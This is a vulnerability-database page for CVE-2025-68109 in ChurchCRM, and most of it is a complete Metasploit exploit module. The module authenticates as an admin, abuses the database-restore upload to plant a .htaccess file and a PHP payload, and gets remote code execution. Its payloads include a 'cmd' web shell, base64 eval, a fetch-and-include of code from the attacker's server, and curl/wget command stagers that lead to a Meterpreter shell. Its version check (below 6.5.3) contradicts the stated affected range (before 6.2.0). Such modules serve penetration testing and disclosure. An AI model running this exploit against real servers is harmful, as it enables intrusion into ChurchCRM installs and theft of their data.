Lucene search
K

ChurchCRM Database Restore RCE 6.2.0

🗓️ 16 Apr 2026 19:02:12Reported by LucasCsmtType 
metasploit
 metasploit
🔗 www.rapid7.com👁 369 Views

Exploits ChurchCRM database restore RCE before 6.2.0 via authenticated admin upload to run PHP.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2025-68109
17 Dec 202521:29
attackerkb
Circl
CVE-2025-68109
16 Apr 202621:02
circl
CNNVD
ChurchCRM 安全漏洞
17 Dec 202500:00
cnnvd
CNVD
ChurchCRM Code Execution Vulnerability (CNVD-2026-0535893)
25 Dec 202500:00
cnvd
CVE
CVE-2025-68109
17 Dec 202521:29
cve
Cvelist
CVE-2025-68109 ChurchCRM vulnerable to RCE with database restore functionality
17 Dec 202521:29
cvelist
EUVD
EUVD-2025-203990
17 Dec 202521:29
euvd
NVD
CVE-2025-68109
17 Dec 202522:16
nvd
OSV
CVE-2025-68109 ChurchCRM vulnerable to RCE with database restore functionality
17 Dec 202521:29
osv
Packet Storm
📄 ChurchCRM Database Restore Remote Code Execution
16 Apr 202600:00
packetstorm
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ChurchCRM Database Restore RCE 6.2.0',
        'Description' => %q{
          This module exploits a Remote Code Execution (RCE) vulnerability in ChurchCRM
          versions prior to 6.2.0. The vulnerability resides in the Database Restore
          functionality, which allows an authenticated user with administrative privileges
          to upload a malicious backup file. By bypassing upload restrictions via a
          crafted .htaccess file, the module enables PHP code execution in the target
          directory, ultimately providing the attacker with a Meterpreter shell.
        },
        'License' => MSF_LICENSE,
        'Author' => ['LucasCsmt'],
        'References' => [
          [ 'GHSA', 'pqm7-g8px-9r77'],
          [ 'CVE', '2025-68109']
        ],
        'Platform' => ['linux', 'php'],
        'Targets' => [
          [
            'Linux/unix Command (CmdStager)',
            {
              'Arch' => [ ARCH_X86, ARCH_X64 ],
              'Platform' => ['linux'],
              'Type' => :nix_cmdstager,
              'CmdStagerFlavor' => [
                'printf', 'echo', 'bourne', 'fetch', 'curl', 'wget'
              ]
            }
          ],
          [
            'PHP (In-Memory)',
            {
              'Arch' => [ ARCH_PHP ],
              'Platform' => ['php'],
              'Type' => :php_memory
            }
          ],
          [
            'PHP (Fetch)',
            {
              'Arch' => [ ARCH_PHP ],
              'Platform' => ['php'],
              'Type' => :php_fetch
            }
          ],
        ],
        'DisclosureDate' => '2025-12-17',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'Base path', '/']),
        OptString.new('USERNAME', [true, 'Username for the admin account', 'admin']),
        OptString.new('PASSWORD', [true, 'Password for the admin account', nil])
      ]
    )
  end

  # Check if the target is up by accessing the login page
  def check
    vprint_status('Checking if the target is reachable...')

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'session', 'begin')
    })

    unless [200, 301, 302].include?(res.code)
      return Exploit::CheckCode::Unknown("Unexpected HTTP response code: #{res.code}")
    end

    version = res.headers['CRM-VERSION']
    if version
      print_status("Found ChurchCRM version: #{version}")
      if Rex::Version.new(version) < Rex::Version.new('6.5.3')
        return Exploit::CheckCode::Appears("Vulnerable version #{version} detected via CRM-VERSION header.")
      else
        return Exploit::CheckCode::Safe("Version #{version} is not vulnerable.")
      end
    end
    if res.body.include?('ChurchCRM')
      return Exploit::CheckCode::Detected('ChurchCRM detected, but the version could not be determined.')
    end

    Exploit::CheckCode::Safe('The target does not appear to be ChurchCRM.')
  end

  # Build the payload that will be into the installation form
  #
  # @return : the payload
  def build_payload
    case target['Type']
    when :php_memory
      b64_payload = Rex::Text.encode_base64(payload.encoded)
      "<?php eval(base64_decode(\"#{b64_payload}\")); ?>"
    when :php_fetch
      payload_name = '/tmp/' + rand_text_alpha(5..10) + '.php'
      "<?php $f='#{payload_name}'; file_put_contents($f, file_get_contents('#{get_uri}')); register_shutdown_function('unlink', $f); include($f); ?>"
    else
      "<?php if(isset($_GET['cmd'])){system($_GET['cmd'].' 2>&1');} ?>"
    end
  end

  # Get the session cookie of the specified user
  #
  # @return : the session cookie
  def get_cookie
    print_status 'Getting the session cookie'
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'session', 'begin'),
      'vars_post' => {
        'User' => datastore['USERNAME'],
        'Password' => datastore['PASSWORD']
      }
    })

    fail_with(Failure::Unreachable, 'No answer from the server') unless res
    fail_with(Failure::NoAccess, 'Authentication error : Invalid login or password') if res.body.include?('Invalid login or password')
    fail_with(Failure::NoAccess, 'Authentication error : This account have been locked') if res.body.include?('Too many failed logins')
    fail_with(Failure::UnexpectedReply, "Invalid status code : #{res.code}") unless [200, 301, 302].include?(res.code)

    cookie = res.get_cookies
    fail_with(Failure::UnexpectedReply, 'No cookies found') if cookie.blank?

    print_good 'The session cookie has been received'
    cookie
  end

  # Handles the incoming HTTP request and serves the payload to the target.
  def on_request_uri(cli, _request)
    p = payload.encoded
    send_response(cli, p, {
      'Content-Type' => 'application/x-httpd-php',
      'Pragma' => 'no-cache'
    })
  end

  def execute_command(cmd, _opts = {})
    send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'tmp_attach', 'ChurchCRMBackups', @payload_name),
      'vars_get' => { 'cmd' => cmd }
    })
  end

  # Upload a file exploiting the database resotre functionality
  #
  # @param : file_name, the name of the file to upload
  # @param : content, the content of the file to upload
  def upload_file(file_name, content)
    print_status "Uploading the file : #{file_name}"
    data = Rex::MIME::Message.new
    data.add_part(
      content,
      'application/octet-stream',
      nil,
      "form-data; name=\"restoreFile\"; filename=\"#{file_name}\""
    )
    data.add_part('', nil, nil, 'form-data; name="restorePassword"')

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api', 'database', 'restore'),
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => data.to_s,
      'cookie' => @cookie
    })
    fail_with(Failure::Unreachable, 'No answer from the server') unless res
    # The server returns a 500 error because the uploaded file is not a valid backup file, but the file is still uploaded before the crash.
    fail_with(Failure::NotVulnerable, 'Invalid status code, the target may not be vulnerable') unless res.code == 500
    print_good 'The file have been uploaded successfully'
  end

  # Execute the payload
  def execute_payload
    print_status 'Trying to execute the payload'
    if target['Type'] == :nix_cmdstager
      execute_cmdstager(
        linemax: 500,
        nodelete: false,
        background: true,
        temp: '/tmp'
      )
    else
      send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, 'tmp_attach', 'ChurchCRMBackups', @payload_name)
      })
    end
    print_good 'Payload successfully executed'
  end

  def exploit
    if target['Type'] == :php_fetch
      print_status('Starting HTTP server to serve the payload...')
      start_service
    end

    @cookie = get_cookie

    upload_file '.htaccess', "Allow from all\n"
    register_file_for_cleanup('.htaccess')

    @payload_name = rand_text_alpha(5..10) + '.php'
    upload_file @payload_name, build_payload
    register_file_for_cleanup(@payload_name)

    execute_payload
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Jul 2026 19:01Current
6.5Medium risk
Vulners AI Score6.5
CVSS 3.17.2 - 9.1
EPSS0.01381
SSVC
369